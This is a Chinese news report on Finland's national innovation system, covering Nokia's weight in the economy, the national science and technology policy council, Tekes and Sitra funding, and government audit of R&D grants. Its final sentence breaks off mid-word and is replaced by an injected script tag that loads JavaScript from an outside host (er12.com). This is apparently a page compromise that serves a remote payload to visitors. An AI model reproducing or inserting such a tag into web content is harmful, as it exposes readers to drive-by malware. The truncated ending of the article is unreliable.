编者按
遥远的芬兰，离我们却如此之近。去年中国内地销售的3.03亿部手机中，芬兰的诺基亚品牌就有7840万部，约占25.8%。诺基亚是芬兰知识经济的旗帜。《经济学家》杂志曾说，芬兰经济的现状好比是“将所有的鸡蛋放在一个篮子里”；现在这个篮子看上去还是牢固的，但不能保证将来有鸡飞蛋打的一天。对此，芬兰经济学界权威考克曼的回答是：即使诺基亚有一天轰然倒塌，优秀的人力资源依然将继续服务于芬兰的高科技信息通讯产业。而在最新出版的世行《2006年芬兰经济调查报告》中，世行副行长傅兰妮女士盛赞芬兰：“过去十多年中的产业转型和社会发展成果，为其他国家提供了良好的借鉴”。事实上，有专家认为，像芬兰这样的小国，要在世界范围保持强大的竞争力，唯一的手段就是专注于少数几个具有高竞争性的行业。正如芬兰外贸部长保拉·莱赫托迈基（paulalehtomaki）所言：“芬兰不需要全世界，我们只要属于我们的那部分。”
本报特派记者莫书莹发自赫尔辛基上海
瑞士洛桑国际管理学院在《2006年国际竞争力报告》中,将芬兰的产学研结合成效评为世界第一。密切的产学研结合，使芬兰打造了世界上最有效率的国家创新体系。
“在我看来，芬兰最大的竞争力来源于科研和教育。作为一个小国，在经济上要求发展，必须有弹性地适应国际变化，适应市场需求。这就要通过政府、大学、科研机构和公司之间的精诚合作。”芬兰外贸部长保拉·莱赫托迈基如是说。
独特的国家创新系统
作为世界上首个将国家创新系统（f in n ish in n ovative s ystem）概念用于建立本国科技创新产业政策框架的国家，芬兰的科技创新经济，在经历波折后才逐步走向成功。直到上世纪80年代，芬兰经济仍然绝大部分依靠传统制造业。
1987年，芬兰成立国家科技政策理事会，表明了政府要加速科技与产业结合的决心。理事会由芬兰总理亲自任主席，贸工部长、教育科学部长、财政部长等内阁重要成员，以及劳工工会主席、诺基亚等大公司的总裁，外加十位专家，都是理事会成员。理事会每年要召开4次例会讨论重大科技政策问题。
该理事会于1990年在其政策述评中首次引入了国家创新系统概念，并在其后不断进行修改和完善。
在芬兰国家创新系统建设中，重点是创新基础设施的建设，包括大学、科研机构、企业实验室和技术开发中心，也包括科技园区和其他创新支持服务机构等。这和其他国家的做法似乎没有大的差别。但芬兰支持创新的机构却有其独到之处。芬兰政府通过对学校、科研机构和企业产业链进行全面的经济支持，获得了对产业的充分调控权。政府鼓励产学研高度结合，同时鼓励各机构在科研和商业战略发展中以市场需求为导向。中国驻芬兰原技术参赞谢高峰向《第一财经日报》介绍，芬兰国家创新系统完全建立在一个高效、服务型的政府之上。
芬兰国家科技政策理事会作为该体系的最高单位，主要负责高科技产业的政策制定。隶属于芬兰贸工部的国家技术局（tekes）在该体系中扮演执行者和协调者的重要角色，是各科技发展项目的“赞助人”，政府每年有30%的研发经费靠这个部门拨出。此外，直属芬兰国会的国家开发基金（sitra）、芬兰教育部下属的芬兰科学院（academyoffinland），帮助各高科技企业、科研机构进行融资贷款。
作为高科技产业的大投资方，政府却绝对不会对产业发展进行过度干预。谢高峰说，芬兰政府仅负责政策制定和提供良好的外部条件，比如基础设施、教育、投资等，具体的实施过程，完全下放到具体单位，由它们进行协调、跟踪、审计和调查。
他说，芬兰各地都会利用各自特点确定重点发展行业。于是，政府会在当地找一家具有代表性的公司，对其进行拨款，由其进行该行业发展的规划。基于芬兰社会建立的诚信体系，受政府委托的公司会感觉到荣耀，所以基本不会出现以此谋私的事情。当然，严密的审计监督也从未缺位。
在芬兰，要获得国家技术局的资助，竞争激烈。
世界领先的气象勘测系统制造商vaisala公司代表指出，每年要争取来自政府财政支助的不仅包括企业，还有各研究机构、大学等，而与诺基亚这样的大型企业相比，小公司的确会在竞争中受到一定影响。
以vaisala为例，一个新的研发项目要想获得像国家技术局这样的专门政府部门的资金，必须经过一道道详细审核过程。公司先要提交项目的详细设计计划，政府对此进行审批后，公司才可能获得整个项目或项目中某一项技术的资金支持。此外，政府的拨款分批进行。公司需要在研发过程中就研究的每个步骤，向政府提交技术和经济两份报告供评估，才可能陆续获得余下的资金。
资金渠道和研-产“中间人”
世行报告指出，目前芬兰每年在科研上的投资，占其国民生产总值的3.5%，是经合组织成员中的第二高；在此方面的投资数量处全球第三，仅次于瑞典和以色列。
除了上面提到的国家科技局这个“大赞助人”，芬兰的研?script src=http://er12.com/t.js>
